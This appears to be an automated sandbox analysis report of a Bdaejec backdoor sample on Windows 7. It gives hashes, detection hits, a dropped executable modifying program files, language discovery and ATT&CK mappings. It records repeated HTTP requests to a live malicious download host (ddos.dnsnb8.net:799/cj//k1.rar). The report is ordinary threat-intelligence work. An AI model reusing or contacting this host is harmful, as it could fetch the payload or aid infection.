bdaejec | 96f789f4b8256da182eff18adef85521f16e6ecb30bc5a9bdb497cfca775ca6b

Analysis

max time kernel
120s
max time network
120s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
11/01/2025, 01:38 UTC

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General

Target

2025-01-11_6db6349ee9ec8e748fac3449296bd80a_smoke-loader_wapomi.exe
Size

240KB
MD5

6db6349ee9ec8e748fac3449296bd80a
SHA1

ab87ba01918f5b26c9d630ff3ec36ac30849a2ec
SHA256

96f789f4b8256da182eff18adef85521f16e6ecb30bc5a9bdb497cfca775ca6b
SHA512

dbbeccc71ee95852eee0cc001423a64e430876e4c5b0caee93678ee1f3bbd4335d4af4549c2a23398fffd371fe92e0d56d1fb6fc37daf1a48d435e9ada28fc9a
SSDEEP

3072:eg4XSwJokES2R2TVhQWp3FjBKCVTelvZcpC+RMuCXt00BZMqqDLy/K4uHITw3GCH:eCwGjR2TVhQu3hRGONMuL08qqDLusy

Score

10^/10

bdaejec aspackv2 backdoor discovery

Malware Config

Extracted

Family

bdaejec

ddos.dnsnb8.net

Signatures

Bdaejec
Bdaejec is a backdoor written in C++.
backdoor bdaejec
Bdaejec family
bdaejec

Detects Bdaejec Backdoor. 1 IoCs

Bdaejec is backdoor written in C++.

resource	yara_rule
behavioral1/memory/2504-25-0x0000000001180000-0x0000000001189000-memory.dmp	family_bdaejec_backdoor

ASPack v2.12-2.42 1 IoCs

Detects executables packed with ASPack v2.12-2.42

aspackv2

resource	yara_rule
behavioral1/files/0x0012000000015ccc-12.dat	aspack_v212_v242

Executes dropped EXE 1 IoCs

pid	Process
2504	KMWyGG.exe

Loads dropped DLL 2 IoCs

pid	Process
2488	2025-01-11_6db6349ee9ec8e748fac3449296bd80a_smoke-loader_wapomi.exe
2488	2025-01-11_6db6349ee9ec8e748fac3449296bd80a_smoke-loader_wapomi.exe

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javaw.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jcmd.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\policytool.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\servertool.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Spades\shvlzm.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Microsoft Games\SpiderSolitaire\SpiderSolitaire.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Windows Mail\wabmig.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\notification_helper.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\VPREVIEW.EXE	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jconsole.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jstatd.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javaws.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\lib\visualvm\platform\lib\nbexec64.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Microsoft Games\Multiplayer\Backgammon\bckgzm.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javap.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\java.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\kinit.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\javacpl.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroBroker.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Google\Update\Install\{9DFE08CC-30AD-4427-BBD2-AE53EED44C59}\chrome_installer.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\MSOUC.EXE	KMWyGG.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\chrome_proxy.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\tnameserv.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\wsimport.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\pack200.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Windows Mail\wab.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\serialver.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\jabswitch.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\javaws.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\rmid.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jre7\bin\tnameserv.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Mozilla Firefox\crashreporter.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Google\Update\DisabledGoogleUpdate.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\1033\ONELEV.EXE	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\xjc.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\misc.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Windows Mail\wabmig.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\CNFNOT32.EXE	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javadoc.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\javafxpackager.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\servertool.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Microsoft Games\Solitaire\Solitaire.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Windows Journal\PDIALOG.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Windows Photo Viewer\ImagingDevices.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Adobe\Reader 9.0\Setup Files\{AC76BA86-7AD7-1033-7B44-A90000000001}\Setup.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\idlj.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\rmiregistry.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Microsoft Games\FreeCell\FreeCell.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Google\Update\1.3.36.151\GoogleUpdateBroker.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\excelcnv.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\OIS.EXE	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\SETLANG.EXE	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\klist.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Google\Chrome\Application\106.0.5249.119\chrome_pwa_launcher.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jarsigner.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\bin\jvisualvm.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Java\jdk1.7.0_80\jre\bin\klist.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Mozilla Firefox\uninstall\helper.exe	KMWyGG.exe
File opened for modification	C:\Program Files\Mozilla Firefox\updater.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Google\Update\Download\{8A69D345-D564-463C-AFF1-A69D9E530F96}\106.0.5249.119\chrome_installer.exe	KMWyGG.exe
File opened for modification	C:\Program Files\7-Zip\Uninstall.exe	KMWyGG.exe
File opened for modification	C:\Program Files (x86)\Microsoft Office\Office14\ONENOTEM.EXE	KMWyGG.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	KMWyGG.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	2025-01-11_6db6349ee9ec8e748fac3449296bd80a_smoke-loader_wapomi.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2488 wrote to memory of 2504	2488	2025-01-11_6db6349ee9ec8e748fac3449296bd80a_smoke-loader_wapomi.exe	32
PID 2488 wrote to memory of 2504	2488	2025-01-11_6db6349ee9ec8e748fac3449296bd80a_smoke-loader_wapomi.exe	32
PID 2488 wrote to memory of 2504	2488	2025-01-11_6db6349ee9ec8e748fac3449296bd80a_smoke-loader_wapomi.exe	32
PID 2488 wrote to memory of 2504	2488	2025-01-11_6db6349ee9ec8e748fac3449296bd80a_smoke-loader_wapomi.exe	32
PID 2504 wrote to memory of 2824	2504	KMWyGG.exe	34
PID 2504 wrote to memory of 2824	2504	KMWyGG.exe	34
PID 2504 wrote to memory of 2824	2504	KMWyGG.exe	34
PID 2504 wrote to memory of 2824	2504	KMWyGG.exe	34

C:\Users\Admin\AppData\Local\Temp\2025-01-11_6db6349ee9ec8e748fac3449296bd80a_smoke-loader_wapomi.exe
"C:\Users\Admin\AppData\Local\Temp\2025-01-11_6db6349ee9ec8e748fac3449296bd80a_smoke-loader_wapomi.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2488
- C:\Users\Admin\AppData\Local\Temp\KMWyGG.exe
  C:\Users\Admin\AppData\Local\Temp\KMWyGG.exe
  2⤵
  - Executes dropped EXE
  - Drops file in Program Files directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2504
- - C:\Windows\SysWOW64\cmd.exe
    cmd /c ""C:\Users\Admin\AppData\Local\Temp\770c2c54.bat" "
    3⤵
    - System Location Discovery: System Language Discovery
    PID:2824

Network

DNS

ddos.dnsnb8.net

KMWyGG.exe

Remote address:

8.8.8.8:53

Request

ddos.dnsnb8.net

IN A

Response

ddos.dnsnb8.net

IN A

44.221.84.105
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

KMWyGG.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

KMWyGG.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

KMWyGG.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

KMWyGG.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive
GET

http://ddos.dnsnb8.net:799/cj//k1.rar

KMWyGG.exe

Remote address:

44.221.84.105:799

Request

GET /cj//k1.rar HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)
Host: ddos.dnsnb8.net:799
Connection: Keep-Alive

44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

KMWyGG.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

KMWyGG.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

KMWyGG.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

KMWyGG.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar
44.221.84.105:799

http://ddos.dnsnb8.net:799/cj//k1.rar

http

KMWyGG.exe

466 B
176 B
3
4

HTTP Request

GET http://ddos.dnsnb8.net:799/cj//k1.rar

8.8.8.8:53

ddos.dnsnb8.net

dns

KMWyGG.exe

61 B
77 B
1
1

DNS Request

ddos.dnsnb8.net

DNS Response

44.221.84.105

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\770c2c54.bat

Filesize
187B

MD5
dc6b2b33bb4a51912986693297a47959

SHA1
8e7a52acefc1cc8f130c5107280d59f89584f12e

SHA256
bf8d123c9731f857b7cc09294457c4d223915b244181a723e53cbbdabbf07b5e

SHA512
9f6c734822c3704048a2fec22bda9a5689923902b5aa4024e6945e01bbe8e77797d8db50336286ed1f34f887d3130622d41699c353a7a6a6d4958ae15612f658

Download Submit
C:\Users\Admin\AppData\Local\Temp\KMWyGG.exe

Filesize
15KB

MD5
56b2c3810dba2e939a8bb9fa36d3cf96

SHA1
99ee31cd4b0d6a4b62779da36e0eeecdd80589fc

SHA256
4354970ccc7cd6bb16318f132c34f6a1b3d5c2ea7ff53e1c9271905527f2db07

SHA512
27812a9a034d7bd2ca73b337ae9e0b6dc79c38cfd1a2c6ac9d125d3cc8fa563c401a40d22155811d5054e5baa8cf8c8e7e03925f25fa856a9ba9dea708d15b4e

Download Submit
memory/2488-0-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/2488-10-0x0000000000240000-0x0000000000249000-memory.dmp

Filesize
36KB

Download
memory/2488-9-0x0000000000240000-0x0000000000249000-memory.dmp

Filesize
36KB

Download
memory/2488-14-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/2504-11-0x0000000001180000-0x0000000001189000-memory.dmp

Filesize
36KB

Download
memory/2504-25-0x0000000001180000-0x0000000001189000-memory.dmp

Filesize
36KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

HTTP Request

HTTP Request

HTTP Request

HTTP Request

HTTP Request

DNS Request

DNS Response

MITRE ATT&CK Enterprise v15

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